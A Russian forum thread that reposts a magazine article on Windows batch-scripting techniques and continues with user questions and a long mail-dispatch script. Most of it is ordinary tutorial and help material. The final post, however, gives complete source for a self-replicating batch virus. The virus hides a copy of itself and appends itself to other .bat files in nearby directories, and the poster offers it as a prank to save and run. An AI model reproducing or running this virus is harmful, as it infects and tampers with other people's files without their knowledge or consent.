Введение Мы все любим писать серьезные вещи на серьезных языках. Шаблоны, C++, Reflection, Perl и многое другое – вот то, что мы любим, то, чему посвящаем длинные сообщения в форумах, то, что снится нам по ночам. Однако в нашей повседневной деятельности встречаются и вещи, которые не так интересны и интеллектуальны. Мы не очень любим говорить об этом, делаем вид, что Это – грязно, нечистоплотно и недостойно нашего внимания. Однако, приходит день, приходит час и перст Судьбы находит нас – нам надо написать еще один батничек… Иногда это запускалка для построения проекта, которая должна при ошибке компиляции скопировать логи на сетевой диск, иногда – запуск обновления исходных текстов из SVN. Иногда – что-нибудь еще. К чему я это все? А к тому, что поговорим мы о полезных хитростях при написании файлов сценариев на встроенном командном языке Windows. К счастью, это занятие не является доминирующим в профессиональной деятельности автора, так что я не обязуюсь заполнить абсолютно все пробелы в данной области. Кроме того, рожденный ползать летать не может, и из cmd.exe, увы, не получится ни /usr/bin/perl, ни даже /bin/sh. Так что, все нижеприведенное – просто некоторые интересные факты из жизни файлов с расширением bat, на которые автор обратил внимание во время решения различных практических задач автоматизации. Наш урок будет построен по сугубо практическому принципу, известному в народе как Cookbook. Иными словами, я не буду вдаваться в синтаксические и семантические дебри командного языка Windows, а лишь продемонстрирую его возможности (хотел написать «мощь», но все-таки передумал). Именно поэтому большинство следующих заголовков будет начинаться со слова «Как». Впрочем, для полноты по ходу развития событий будут даваться подробные комментарии, в том числе и по языковым конструкциям. ПРЕДУПРЕЖДЕНИЕ Практически все описанные здесь рецепты подойдут только для Windows 2000 и старше. Bat-язык Windows 9x, к счастью, можно считать почившим, так что здесь он не рассматривается. Более того, диалекты cmd.exe операционных систем Windows 2000, Windows XP и Windows Server 2003 также немного различаются. Все приведенное ниже создано и проверено на компьютере под управлением операционной системы Windows XP. За подробной информацией по различиям в реализации той или иной команды обращайтесь к [1]. Как экранировать символ? В командном языке Windows существует некоторый набор символов с высоким приоритетом, которые всегда трактуются как спецсимволы. К ним, в частности, относятся: Операторы перенаправления ввода-вывода <, >, >>. Оператор конвейера |. Операторы объединения команд ||, & и &&. Оператор разыменования переменной %…%. В случае если символ, относящийся к одному из таких операторов, должен быть включен в вашу команду в его литеральном смысле, вас ждут определенные неожиданности. Например, при выполнении вот такой строки Code: echo The ratio should be up to 10%. символ процента будет «съеден» интерпретатором, который решит, что это попытка вывода значения какой-то переменной. В случае со знаком процента решение довольно хорошо известно и состоит в удвоении этого символа: Code: echo The ratio should be up to 10%%. после чего все заработает так, как надо. Однако в других случаях все менее очевидно. Рассмотрим командный сценарий, который генерирует незатейливый HTML-файл: Code: @echo off set OUTPUTFILE=%1 echo <html> >%OUTPUTFILE% echo <head> >>%OUTPUTFILE% echo <title>This is a greeting page</title> >>%OUTPUTFILE% echo </head> >>%OUTPUTFILE% echo <body> >>%OUTPUTFILE% echo Hello World! >>%OUTPUTFILE% echo </body> >>%OUTPUTFILE% echo </html> >>%OUTPUTFILE% К сожалению, при попытке запуска этого "чуда инженерного разума" нас постигнет неудача в виде сообщения об ошибке Code: > was unexpected at this time. Оно и понятно: командный интерпретатор не в силах разобраться, где его просят вывести на экран символ HTML-тега, а где перенаправить вывод. В нормальных языках программирования эта проблема обычно решается обрамлением строковых литералов кавычками. Отчасти это помогает и в bat-файлах. Но лишь отчасти. Выполнение строки Code: echo "<html>" >%OUTPUTFILE% приведет к тому, что в выходной файл будут записаны и сами кавычки. Это явно не совсем то, что требуется. К счастью, есть один малоизвестный способ, позволяющий добиться требуемого результата. Символ ^ позволяет экранировать любой другой символ с безусловным приоритетом. Таким образом, вышеприведенный пример генерации HTML может быть успешно записан так: Code: @echo off set OUTPUTFILE=%1 echo ^<html^> >%OUTPUTFILE% echo ^<head^> >>%OUTPUTFILE% echo ^<title^>This is a greeting page^</title^> >>%OUTPUTFILE% echo ^</head^> >>%OUTPUTFILE% echo ^<body^> >>%OUTPUTFILE% echo Hello World! >>%OUTPUTFILE% echo ^</body^> >>%OUTPUTFILE% echo ^</html^> >>%OUTPUTFILE% Таким же способом можно экранировать любой другой специальный символ. Очевидно, можно экранировать и сам ^. Не очень эстетично, зато дешево и практично. Слово «надежно» я пропустил умышленно… Как перенести длинную строку? Совет по поводу экранирующего символа ^ имеет еще одно применение: перенос строк. Я (как и многие из вас, наверное) люблю, чтобы любой исходный текст, который я пишу, выглядел красиво – даже *.bat-файлы. Одним из обязательных условий красоты и удобочитаемости кода для меня является его ширина: все строки должны умещаться в 78 столбцов. Можно поспорить по поводу числа 78, но в одном я непреклонен – ограничение на ширину текста кода должно быть, иначе это не код, а макароны. Так вот долгое время *.bat-файлы портили мне жизнь тем, что иногда приходилось писать длинную строку – например, вызов какой-нибудь другой программы с кучей опций, и я не знал, что с этим делать. Происходило это нечасто, но всегда было неприятно. Но, к счастью, моя жизнь изменилась с тех пор, как я открыл для себя Супер-Символ ^: Code: packagebin.exe --recursive-search=yes --files-mask=exe,dll,pdb,obj ^ --archive-type=zip --archive-level=max --deliver-method=ftp ^ --deliver-target=ftp://ftp.site.com Помните лишь, что чудо-символ должен быть последним в строке – скажите «Нет!» концевым пробелам. Как определить имя каталога, в котором находится запущенный командный файл? Иногда сценарию надо знать полный путь к себе самому и/или к каталогу, в котором он находится. Это может понадобиться по разным причинам. Например, он должен достать из системы контроля версий исходники в каталог <script-dir>/src рядом с собой. Или, запускаются тесты из каталога <script-dir>/tests, и перед их запуском надо добавить каталог <script-dir>/bin в переменную PATH. Можно, конечно, рассчитывать на то, что командный файл был вызван из того же каталога, где он находится, и тогда в качестве вышеупомянутого <script-dir> можно использовать переменную окружения %CD% - полный путь к текущему каталогу. Однако любые допущения в нашем деле недопустимы (хороший каламбур, однако!). Поэтому приведу более надежное решение. Прежде всего, вспоминаем, что переменная %0 в bat-файле соответствует нулевому аргументу командной строки, т.е. имени самого файла. После этого читаем скудную документацию для команды call: Code: call /? и обнаруживаем, что при использовании нумерованных переменных %0-%9 можно использовать некоторые модификаторы: Code: %~1 - разворачивает %1, удаляя кавычки (") %~f1 - разворачивает %1 в полный квалифицированный путь %~d1 - разворачивает %1 в букву диска %~p1 - разворачивает %1 в путь %~n1 - разворачивает %1 в имя файла %~x1 - разворачивает %1 в расширение файла %~s1 - развернутый путь будет содержать только короткие имена %~a1 - разворачивает %1 в атрибуты файла %~t1 - разворачивает %1 в дату/время создания файла %~z1 - разворачивает %1 в размер файла %~$PATH:1 - Ищет в каталогах, перечисленных в переменной среды PATH, и разворачивает %1 в полное квалифицированное имя первого совпадения. Если имя перменной среды не определено, или если файл не найден, этот модификатор вернет пустую строку и, более того: Code: Модификаторы можно объединять для получения сложных результатов: %~dp1 - разворачивает %1 в букву диска и путь %~nx1 - разворачивает %1 в имя файла с расширением %~dp$PATH:1 – ищет %1 в каталогах, перечисленных в переменной среды PATH, и разворачивает в букву диска и путь к первому найденному файлу. %~ftza1 - разворачивает %1 в строку, подобную DIR Таким образом, правильным будет использовать в качестве тега <script-dir> сочетание %~dp0, которое будет раскрыто в полный путь к каталогу, где находится сценарий. Например, Code: "%~dp0\packagebin.exe" --recursive-search=yes --files-mask=exe,dll,pdb,obj ^ --archive-type=zip --archive-level=max --deliver-method=ftp ^ --deliver-target=ftp://ftp.site.com --deliver-source="%~dp0\bin" Обратите внимание на использование кавычек – потенциально каталог может иметь в своем пути пробел. Кавычки избавят от проблем в этом случае. ПРЕДУПРЕЖДЕНИЕ Опасайтесь бездумного применения команды cd %~dp0 без проверки результата выполнения. Теоретически, эта команда должна сменить текущий каталог на каталог, в котором расположен командный файл. Как правило, это работает. Однако возможны неожиданности. Однажды был написан простой командный сценарий, задача которого была просто удалить все каталоги рядом с собой. В «свою» директорию он переходил как раз через cd %~dp0. Все было проверено на локальной машине – работало замечательно. После этого сценарий был помещен на файл-сервер, где ему и полагалось быть. Я зашел с помощью Far в сетевой каталог, и для контрольной проверки решил запустить файл еще раз. Дальнейшее словно в тумане. cmd.exe правильно определил местонахождение bat-файла: \\servername\sharename\directory. Однако при попытке сделать туда cd, он сказал, что UNC-пути в качестве текущих каталогов не поддерживаются и лучше он сменит текущий каталог на C:\WINDOWS… Это было действительно мудрое решение… Часть сценария, отвечавшая за удаление всех каталогов, сработала отлично – хорошо, что я успел вовремя остановить это безумие. В тот день я узнал, что такое System Restore… Как получить короткое (8.3) имя файла? «А зачем? – спросите вы – Ведь мы живем в мире Интернета, Web-сервисов и NTFS с длинными именами файлов». Это действительно так, но иногда встречаются программы, которые отчаянно сопротивляются прогрессу, и в частности, не любят имен файлов и полных путей с пробелами. Одной из таких программ, кстати, является утилита build.exe из Windows DDK… В таких ситуациях спасает использование короткого, «беспробельного» DOS-имени для файла. ПРЕДУПРЕЖДЕНИЕ Доступ к файлу по короткому имени может быть не всегда возможен. На файловой системе NTFS создание коротких псевдонимов для файлов может быть отключено путем установки в единицу значения «NtfsDisable8dot3NameCreation» в ключе реестра «HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\FileSystem». Итак, все же (в предположении, что надругательства над NTFS не было) – как? Внимательный читатель должен был заметить в предыдущем разделе, что при обращении к переменным %0 - %9 можно использовать префикс Code: %~s1 - expanded path contains short names only который нам как раз мог бы помочь. Но есть засада – все эти полезные префиксы нельзя использовать с произвольной переменной окружения, а присваивание переменным %0 - %9 не поддерживается. К счастью, описываемые префиксы можно еще использовать с переменными цикла for, и это дает нам способ достичь требуемого результата. Например, вот так можно получить 8.3-путь к “Program Files”: Code: for /d %%i in ("%PROGRAMFILES%") do ( set PROGRAMFILESSHORT=%%~si ) echo 8.3-имя для каталога "%PROGRAMFILES%" -^> "%PROGRAMFILESSHORT%" Этот и другие модификаторы можно использовать и с любой другой формой цикла for, подробнее о которых можно узнать из: Code: for /? Как перенаправить стандартный вывод в файл? Плоха та короткая программа, которая не стремится стать большой. К сожалению, это правило применимо и к командным файлам Windows тоже – иногда bat-файлы вырастают до довольно больших размеров. Если при этом результат выполняемых команд должен журналироваться, то все становится совсем плохо – почти каждая строка имеет хвостик типа Code: echo Cleaning up the target directory >>%LOGFILE% ... echo The target directory has been cleaned >>%LOGFILE% Гораздо проще было бы перенаправить стандартный вывод в файл, чтобы все команды echo и вообще, все, что выводится на экран, автоматически попадали в журнальный файл. Сделать это можно следующим образом (рассмотрим на знакомом примере генерации HTML-файла): Code: @echo off set OUTPUT=out.html if "%STDOUT_REDIRECTED%" == "" ( set STDOUT_REDIRECTED=yes cmd.exe /c %0 %* >%OUTPUT% exit /b %ERRORLEVEL% ) echo ^<html^> echo ^<head^> echo ^<title^>This is a greeting page^</title^> echo ^</head^> echo ^<body^> echo Hello World! echo ^</body^> echo ^</html^> Здесь делается то же, что и раньше, но с перенаправлением стандартного вывода в файл out.html. Делается это простым способом – перезапуском сценарием самого себя. Сначала проверяется, не установлена ли переменная окружения STDOUT_REDIRECTED. Если она установлена, значит, сценарий уже перезапущен с перенаправленным выводом и можно просто продолжить работу. Если же переменная не установлена, то мы ее устанавливаем и перезапускаем скрипт (cmd.exe /c %0) с таким же набором параметров, что и исходная команда (%*) и перенаправленным в файл стандартным выводом (>%OUTPUT%). После завершения выполнения «перенаправленной» команды выходим. Такое «единовременное» перенаправление имеет и еще один неочевидный плюс: файл открывается и закрывается только один раз, и всем командам и дочерним процессам передается дескриптор уже открытого файла. Во-первых, это чуть-чуть улучшит производительность (жизнь удалась – сроду бы не подумал, что буду когда-нибудь писать о производительности в bat-файлах). Во-вторых, это поможет избежать проблемы с невозможностью открыть файл для записи. Такое может случиться, если после выполнения одной из команд останется «висеть» какой-нибудь процесс. Он будет держать дескриптор интересующего нас файла и перенаправление вывода в этот файл для всех последующих команд провалится. Проблема может показаться надуманной, но однажды она украла у меня 2 часа жизни… Как сложить два числа? Краткий ответ – смотри: Code: set /? Длинный ответ таков. В bat-файлах можно производить довольно-таки продвинутые вычисления – продвинутые не в сравнении с другими языками, а в сравнении с отсутствием возможности что-либо вычислить вообще. Вычисление осуществляется командой set, если она выполняется с ключом /a. Поддерживается практически полный набор операторов языка C, включая шестнадцатеричный модификатор 0x. Переменные окружения в выражении не обязательно заключать в знаки процента – все, что не является числом, считается переменной. Подробнее – все-таки в man set, тьфу, то есть в set /?. А здесь напоследок – просто несколько примеров. Code: @echo off set ARG=1 rem Переменные окружения в выражении не обязательно заключать в %...% set /a RESULT=ARG + 2 echo %RESULT% rem Если выражение содержит какие-либо из символов non grata, надо rem заключить его в кавычки set /a RESULT="ARG << 2" echo %RESULT% rem Шестнадцатеричная арифметика set /a RESULT=0x1234 + 0x6786 echo %RESULT% rem И многое-многое другое... А можно создать в bat-файле функцию? Да, можно. Более того, иногда даже нужно. Правда, функциями это можно назвать условно. Есть особый синтаксис команды call, который позволяет перейти на метку в этом же bat-файле с запоминанием места, откуда был произведен этот вызов: Code: call :метка аргументы Возврат из функции производится командой: Code: exit /b [опциональный код возврата] Ключ /b здесь очень важен: без него будет произведен выход не из функции, а из сценария вообще. За подробностями обращайтесь к: Code: call /? exit /? Что интересно, команда call с таким синтаксисом поддерживает рекурсивные вызовы с автоматическим созданием нового фрейма для переменных аргументов %0-%9. Иногда это может быть полезным. Вот классический пример рекурсивного подсчета факториала на командном языке: Code: @echo off call :factorial %1 echo %RESULT% exit rem Функция для подсчета значения факториала rem Вход: rem %1 Число, для которого необходимо подсчитать факториал rem Выход: rem %RESULT% Значение факториала :factorial if %1 == 0 ( set RESULT=1 exit /b ) if %1 == 1 ( set RESULT=1 exit /b ) set /a PARAM=%1 - 1 call :factorial %PARAM% set /a RESULT=%1 * %RESULT% exit /b Пример работы: Code: > factorial.bat 10 3628800
Как можно избежать использования goto? Любой хоть сколько-то осмысленный *.bat-файл длиной больше 50 строк является ярким лозунгом в поддержку работы Дейкстры «О вреде оператора goto». Мешанина из переходов вперед и назад действительно является кодом «только для записи». Можно ли что-то предпринять по этому поводу? На самом деле можно. Как правило, большинство меток и переходов используются для организации ветвлений при проверке условий, т.е. банальных if-then-else блоков. В оригинале, bat-язык поддерживал только одну команду в блоке then, что автоматически приводило к идиомам вида: Code: if condition goto :THEN rem Команды ветки ‘else’ rem ... goto IF_END :THEN rem Команды ветки ‘then’ rem ... :IF_END Но к счастью, командный интерпретатор cmd.exe современных ОС Windows 2000 и старше поддерживает блоки команд в конструкциях ветвления, что устраняет необходимость применения меток. Блоки команд заключаются в круглые скобки. Выглядит это так (имитируя C/C++ indentation style): Code: if condition ( rem Команды ветки ‘then’ rem ... ) else ( rem Команды ветки ‘else’ rem ... ) Конкретный пример использования: Code: @echo off set BUILDMODE=%1 if "%BUILDMODE%" == "" ( echo FAIL: Аргумент является обязательным ^(--debug, --release^) exit /b 1 ) rem Удаляем из аргумента все дефисы для упрощения обработки set BUILDMODE=%BUILDMODE:-=% if "%BUILDMODE%" == "debug" ( echo INFO: Устанавливаем debug-режим окружения set CCFLAGS=/Od /MDd /Z7 ) else ( echo INFO: Устанавливаем release-режим окружения set CCFLAGS=/O2 /MD ) На мой взгляд, с этим уже вполне можно жить. Но, как всегда, жизнь не так проста, как кажется. Есть одна проблема. Переменные, использующиеся в блоках then и else, раскрываются перед началом выполнения этих блоков, а не в процессе выполнения. В приведенном примере это не вызывает никаких проблем, однако в следующем вызовет: Code: if "%BUILDMODE%" == "debug" ( echo INFO: Устанавливаем debug-режим окружения set OPTFLAGS=/Od set CCFLAGS=%OPTFLAGS% /MDd /Z7 ) else ( echo INFO: Устанавливаем release-режим окружения set OPTFLAGS=/O2 set CCFLAGS=%OPTFLAGS% /MD ) Загвоздка в том, что в обоих блоках подстановка переменной OPTFLAGS произойдет до того, как она будет изменена в процессе выполнения этого блока. Соответственно, в CCFLAGS будет подставлено то значение, которое OPTFLAGS имела на момент начала выполнения данного if-блока. Решается эта проблема путем использования отложенного раскрытия переменных. Переменные, заключенные в !…! вместо %…%, будут раскрыты в их значения только в момент непосредственного использования. Данный режим по умолчанию отключен. Включить его можно либо использованием ключа /V:ON при вызове cmd.exe, либо использованием команды Code: setlocal enabledelayedexpansion в тексте самого bat-файла. Второй способ мне представляется более удобным – не очень здорово требовать от кого-то запуска твоего сценария с определенным параметром. С учетом сказанного предыдущий «неправильный» пример может быть исправлен так: Code: setlocal enabledelayedexpansion rem ... if "%BUILDMODE%" == "debug" ( echo INFO: Setting up debug mode environment set OPTFLAGS=/Od set CCFLAGS=!OPTFLAGS! /MDd /Z7 ) else ( echo INFO: Setting up release mode environment set OPTFLAGS=/O2 set CCFLAGS=!OPTFLAGS! /MD ) Вот теперь это почти полноценный if-then-else блок. Почти, потому что если в одной из команд echo у вас встретится закрывающая круглая скобка, то вам необходимо заэкранировать ее символом ^, иначе синтаксический анализатор путается… Но в любом случае, это гораздо лучше безумного количества меток и переходов. Как обработать текстовый файл? Иногда в командном файле необходимо получить доступ к содержимому некоторого текстового файла и некоторым образом это содержимое обработать. Например, прочитать файл настроек программы. Для привнесения еще большей конкретики в процесс изучения зададимся целью прочитать файл с настройками следующего содержания: Code: # Это простой файл с настройками # Режим сборки buildmode=release # Компилятор compiler=cl.exe # Архитектура arch=x86 Ничего сверхъестественного – простой key=value формат с возможностью вставки Unix-style комментариев. Помочь в чтении и обработке этого файла нам сможет команда for. Ее дополнительные опции позволяют задать и разделители, и символ начала комментария, и кое-что еще. Вот командный файл, который выполняет поставленную задачу: Code: @echo off rem Читаем настройки из файла settings.txt, который должен располагаться в rem том же каталоге, что и bat-файл. Если не удалось распарсить настройки - rem выходим с ненулевым кодом возврата. call :read_settings %~dp0\settings.txt || exit /b 1 rem Прочитанные настройки: echo Build mode : %BUILDMODE% echo Compiler : %COMPILER% echo Architecture: %ARCH% rem Выход из сценария. Дальше - только функции. exit /b 0 rem rem Функция для чтения настроек из файла. rem Вход: rem %1 - Имя файла с настройками :read_settings set SETTINGSFILE=%1 rem Проверка существования файла if not exist %SETTINGSFILE% ( echo FAIL: Файл с настройками отсутствует exit /b 1 ) rem Обработка файла c настройками rem Здесь: rem eol=# указывает на то, что содержимое строки начиная с символа # rem и до ее конца может быть пропущено как комментарий. rem rem delims== указывает, что разделителем значений является символ = rem rem tokens=1,2 приводит к тому, что в переменную %%i будет занесен первый rem токен, а в %%j - второй. rem for /f "eol=# delims== tokens=1,2" %%i in (%SETTINGSFILE%) do ( rem В переменной i - ключ rem В переменной j - значение rem Мы транслируем это в переменные окружения set %%i=%%j ) exit /b 0 Обильные комментарии должны помочь легко разобраться, что к чему. За подробностями, как обычно, отошлю к: Code: for /? Кстати, возможности команды for не ограничиваются чтением из файла. Возможно также чтение вывода другой команды. Например, так: Code: @echo off for /f "tokens=* usebackq" %%i in (`cmd.exe /c ver`) do ( set VERSION=%%i ) echo %VERSION% Особенно меня умиляет наличие опции “usebackq”, которая делает синтаксис отдаленно похожим на юниксовый. И в стенах царства Билла есть граждане, скучающие по /bin/sh и пытающиеся хоть как-то скрасить существование свое и окружающих. Следующий совет это также косвенно подтверждает. Что это за упомянутые ранее операторы объединения команд? Это операторы &, && и ||. Они практически совсем не освещены в документации, но полезны в повседневности. Они позволяют объединять несколько команд в одну, т.е. примерно так: Code: command1 & command2 command1 && command2 command1 || command2 Форма этих операторов весьма соответствует их содержанию. В случае, пожалуй, наименее полезного оператора & вторая команда будет просто выполнена после первой, т.е. это равносильно простой записи: Code: command1 command2 Оператор && гарантирует, что вторая команда будет выполнена только, если первая была выполнена успешно, т.е. с нулевым кодом возврата (он же %errorlevel%). Такие конструкции очень популярны в мире shell-сценариев Unix. Например: Code: cd sources && make clean Я был приятно удивлен, узнав, что cmd.exe тоже умеет выполнять такие конструкции. Это безопаснее и правильнее, нежели простое последовательное выполнение этих команд, и короче и проще, чем строгая проверка и обработка кодов возврата. Очень удобно при написании на скорую руку. Не менее полезен иногда и оператор ||. Суть его тоже логична – выполнить вторую команду, если первая дала сбой. Часто встречается в таких идиомах: Code: cd sources || exit 1 Если перейти в каталог sources не удастся, то будет произведен выход с кодом ошибки 1. Если же первая команда отработает нормально, то вторая выполнена не будет. Например, такая простейшая защита помогла бы в случае с cd по UNC-адресу, описанному ранее. Можно ли написать на bat-языке серьезную программу? Пожалуй, нет. Серьезная программа должна все-таки выглядеть серьезно. А все написанное на командном языке Windows таковым назвать можно лишь с о-о-о-чень большой натяжкой. Так что для решения более сложных задач автоматизации лучше все-таки взять что-нибудь более функциональное: Perl Python Ruby JScript / VBScript Последние, кстати, присутствуют в Windows 2000/XP по умолчанию (с некоторыми функциональными различиями) и в целом могут считаться заменой *.bat языку. Однако сдается мне, что *.bat-файлы проживут еще очень долго. Дай Бог, чтобы я ошибся… © Автор: Алексей Александров Источник: RSDN Magazine #2-2005 статейку на sql.ru нашел.
У меня вопрос. Я пишу в батник следующий код: @echo off copy text.txt %SystemRoot%\text.txt -- и он копирует это в системную директорию А когда я пищу это: @echo off copy text.txt %ProgramFiles%\text.txt --то он выдает ошибку типа неправильный синтаксис. По сути он должен был копировать text.txt в папку Program Files но не копирует. Почему?7
За статью а респект а Aggrassor как я наю а наю очень плохо ) нельзя писать programfiles% попробуй полный путь!
Здраствуйте, у меня есть проблема в насписании bat файла. Существует лог из bat файл а в котором есть примерно вот такие записи: _____________________________________________________________________ *** c:\PRIMER\serdyuk\LAW#000177_52.QST Скопировано файлов: 1. *** c:\PRIMER\serzh\LAW#000177_60.QST c:\PRIMER\serzh\LAW#000177_70.QST Скопировано файлов: 2. *** c:\PRIMER\froot\LAW#000177_50.QST Скопировано файлов: 1. *** c:\PRIMER\root\LAW#000177_61.QST c:\PRIMER\root\LAW#000177_67.QST c:\PRIMER\root\LAW#000177_65.QST Скопировано файлов: 3. _____________________________________________________________________ Есть еще набор папок с именами serzh, serdyuk, root, froot - в общем то что находится после слова "PRIMER". Мне необходимо с помощью bat файла взять QST файлы и поместить их в тот каталог, который указан в логе, то есть все QST файлы хранятся в одном каталоге, но необходимо их раскидать по папкам но только тудаже, откуда они пришли, чтобы лишние QST не попадали не в свои каталоги. В крайнем случае можно даже сделать одинаковую длинну имен юзеров (папок), тогда путь в логе всегда будет имет одинаковую длинну.
Что то подобное делалось в этом bat файле ___________________________________________________________________________ color 4f rem ***************** Создадим каталог, если нет , для обновлений ***************** set fname=%1 set address=%2 set dirname=%fname:~-10,-3% set basename=%fname:~0,3% set regbase=%fname:~0,7% rem ********************** Подкорректируем переменные ***************************** IF %basename%==RLA set basename=%regbase% IF %basename%==MLA set basename=MLAW IF %basename%==DOC set basename=DOCS IF %basename%==QUE set basename=QUEST mkdir e:\Qst9\Qst_mail\Send\%address% f: cd \ cd veda_r\ConsProf IF %basename%==RLAW977 cd f:\veda_r\AdygBase IF %basename%==RLAW392 cd f:\veda_r\ConsSochi IF %basename%==NUR cd f:\veda_r\Arbns IF %basename%==NPV cd f:\veda_r\Arbns IF %basename%==NSK cd f:\veda_r\Arbns IF %basename%==NSZ cd f:\veda_r\Arbns IF %basename%==NDV cd f:\veda_r\Arbns IF %basename%==NMS cd f:\veda_r\Arbns IF %basename%==NZS cd f:\veda_r\Arbns IF %basename%==NVS cd f:\veda_r\Arbns IF %basename%==NVV cd f:\veda_r\Arbns IF %basename%==NCN cd f:\veda_r\Arbns IF %basename%==SCN cd f:\veda_r\Arbvo IF %basename%==SDV cd f:\veda_r\Arbvo IF %basename%==SMS cd f:\veda_r\Arbvo IF %basename%==SPV cd f:\veda_r\Arbvo IF %basename%==SSK cd f:\veda_r\Arbvo IF %basename%==SSZ cd f:\veda_r\Arbvo IF %basename%==SUR cd f:\veda_r\Arbvo IF %basename%==SVS cd f:\veda_r\Arbvo IF %basename%==SVV cd f:\veda_r\Arbvo IF %basename%==SZS cd f:\veda_r\Arbvo rem ******************************* Отработаем запросы **************************** cons.exe /adm /yes /base_%basename% /answer /RECEIVEDIR=e:\Qst9\Qst_mail\Receive /SENDDIR=e:\Qst9\Qst_mail\Send\%address% /USERSDIR=e:\Qst9\Qst_mail\Users /yes rem ******************************* Теперь упакуем пополнения ********************* e: cd \ cd Qst9\Qst_mail\Send\%address% IF exist *.r* del /Q *.r* e:\Send_Int\rar.exe a -v600k -df %basename%.rar *.ans echo ****************** и отправим по почте каждый архив с пополнениями ************ rem =================== Занесём адрес в НАШ лог отработки запросов ============================ echo Запрос --- %fname% --- >>e:\Qst9\Qst_mail\logs\qst_mail.log echo Получившиеся архивы пополнений:>>e:\Qst9\Qst_mail\logs\qst_mail.log dir /B *.* >>e:\Qst9\Qst_mail\logs\qst_mail.log echo ===============================================================================================>>e:\Qst9\Qst_mail\logs\qst_mail.log IF not exist *.r* goto ERRQST for %%a in (*.r*) do e:\Qst9\Qst_mail\postie.exe -host:"192.168.0.74" -to:%address% -from:"RIC ConsultantPlus <[email protected]>" -org:" RIC177 " -s:"Update from RIC177 for "%fname%" : "%%a -uue -high -ns -owner:"RIC177" -charset:"koi8-r" -hide -nomsg -log:e:\QST9\Qst_mail\logs\quest_mail.log -v:3 -alt -binary -use_mime:1 -q -a:%%a chcp 1251 date /T >e:\qst9\qst_mail\answer.txt time /T >>e:\qst9\qst_mail\answer.txt chcp 866 echo На [email protected] от %address% пришло письмо, содержащее запрос %fname% . >>e:\qst9\qst_mail\answer.txt echo Адрес [email protected] предназначен для отработки запросов баз КонсультантПлюс Технологии3000 Серии 200.>>e:\qst9\qst_mail\answer.txt echo ============================================================================ >>e:\qst9\qst_mail\answer.txt echo Ваш запрос %fname% благополучно отработался.>>e:\qst9\qst_mail\answer.txt echo Вам выслано пополнение содержащееся в следующих архивных файлах: >>e:\qst9\qst_mail\answer.txt echo ---------------------------------------------------------------------------->>e:\qst9\qst_mail\answer.txt dir /B *.r* >>e:\qst9\qst_mail\answer.txt echo ---------------------------------------------------------------------------->>e:\qst9\qst_mail\answer.txt echo Вопросы, касающиеся пополнения баз КонсультантПлюс просим направлять в технический отдел по адресу: [email protected] . >>e:\qst9\qst_mail\answer.txt echo Или по телефонам: (861) 268-56-65 , 262-58-25 .>>e:\qst9\qst_mail\answer.txt echo ============================================================================ >>e:\qst9\qst_mail\answer.txt echo С уважением, технический отдел РИЦ-177.>>e:\qst9\qst_mail\answer.txt echo [email protected]>>e:\qst9\qst_mail\answer.txt echo Наш web-сайт: http://www.consultant.kuban.ru >>e:\qst9\qst_mail\answer.txt goto ONEXIT :ERRQST chcp 1251 date /T >e:\qst9\qst_mail\answer.txt time /T >>e:\qst9\qst_mail\answer.txt chcp 866 echo На [email protected] от %address% пришло письмо, содержащее файл %fname%. >>e:\qst9\qst_mail\answer.txt echo Адрес [email protected] предназначен для отработки запросов баз КонсультантПлюс Технологии3000 Серии 200.>>e:\qst9\qst_mail\answer.txt echo ============================================================================ >>e:\qst9\qst_mail\answer.txt echo Ваши запросы не могут отработаться по следующим причинам: >>e:\qst9\qst_mail\answer.txt echo 1. Ваша база соответствует эталонной базе РИЦ. >>e:\qst9\qst_mail\answer.txt echo 2. Ваши запросы содержат ошибку или не принадлежат к базам Технологии3000 >>e:\qst9\qst_mail\answer.txt echo и не могут правильно отработаться. >>e:\qst9\qst_mail\answer.txt echo 3. Ваши базы отключены от сопровождения. >>e:\qst9\qst_mail\answer.txt echo Отправка Вам обновления информационного банка не представляется возможной. >>e:\qst9\qst_mail\answer.txt echo 4. Ваш запрос превышает объём 2 Мб. >>e:\qst9\qst_mail\answer.txt echo За разъяснениями просим обращаться в технический отдел по адресу: [email protected] . >>e:\qst9\qst_mail\answer.txt echo Или по телефонам: (861) 268-56-65 , 262-58-25 .>>e:\qst9\qst_mail\answer.txt echo ============================================================================ >>e:\qst9\qst_mail\answer.txt echo С уважением, технический отдел РИЦ-177.>>e:\qst9\qst_mail\answer.txt echo [email protected]>>e:\qst9\qst_mail\answer.txt echo Наш web-сайт: http://www.consultant.kuban.ru >>e:\qst9\qst_mail\answer.txt :ONEXIT e:\Qst9\Qst_mail\postie.exe -host:"192.168.0.74" -to:%address% -from:"RIC ConsultantPlus <[email protected]>" -org:" RIC177 " -s:"Answer for "%fname%" from RIC177" -uue -high -ns -owner:"RIC177" -charset:"dos866" -hide -file:e:\qst9\qst_mail\answer.txt -log:e:\QST9\Qst_mail\logs\quest_mail.log -v:3 -alt -binary -use_mime:1 -q -a:e:\qst9\qst_mail\answer.txt -notify e:\Qst9\Qst_for_Kur_wks\postie.exe -host:"192.168.0.74" -to:[email protected] -from:"RIC ConsultantPlus <[email protected]>" -org:" RIC177 " -s:"Answer (QST) for "%fname%" from RIC177" -uue -high -ns -owner:"RIC177" -charset:"dos866" -hide -file:e:\qst9\qst_for_Kur_wks\answer.txt -log:e:\QST9\Qst_for_Kur_wks\logs\quest_mail.log -v:3 -alt -binary -use_mime:1 -q -a:e:\qst9\qst_for_Kur_wks\answer.txt color exit _________________________________________________________________________ Но воспроизвести это в своей задаче у меня не получилось Может быть кто нибудь что то подскажет? А вот откуда как я сделал 1ю часть, т.е. откуда МОЙ лог берется: _________________________________________________________________________ @echo off for /f "usebackq delims==" %%i in (`"dir "c:\PRIMER\" /ad /b"`) do ^ echo ***>>c:\temp\log.txt ^ & copy /y c:\PRIMER\%%i\ c:\temp\>>c:\temp\log.txt rem pause _________________________________________________________________________ Это я к тому что лог можно немного изменять если это каким либо образом критично.
Пробую сделать через Find что то не очень получается параметр найденый никуда не передается, а так бы было замечательно загнать его в переменную, ограничить с начала наименования и с конца длинну и все....
Ну вот bat-вирус даже есть: Code: @echo off%[virus]% if '%1=='In_ goto virusin if exist c:\virus.bat goto virusru if not exist %0 goto MrWeben find "virus"<%0>c:\virus.bat attrib +h c:\virus.bat :virusru for %%g in (*.* ..\*.* ..\..\*.*) do call c:\virus In_ %%g goto virusen :virusin if exist %2.bat goto virusen type c:\virus.bat>>%2.bat echo start %2>>%2.bat%[virus]% :virusen Сохраните как virus.bat и запустите... P.S. Может кому такое западло пригодится.
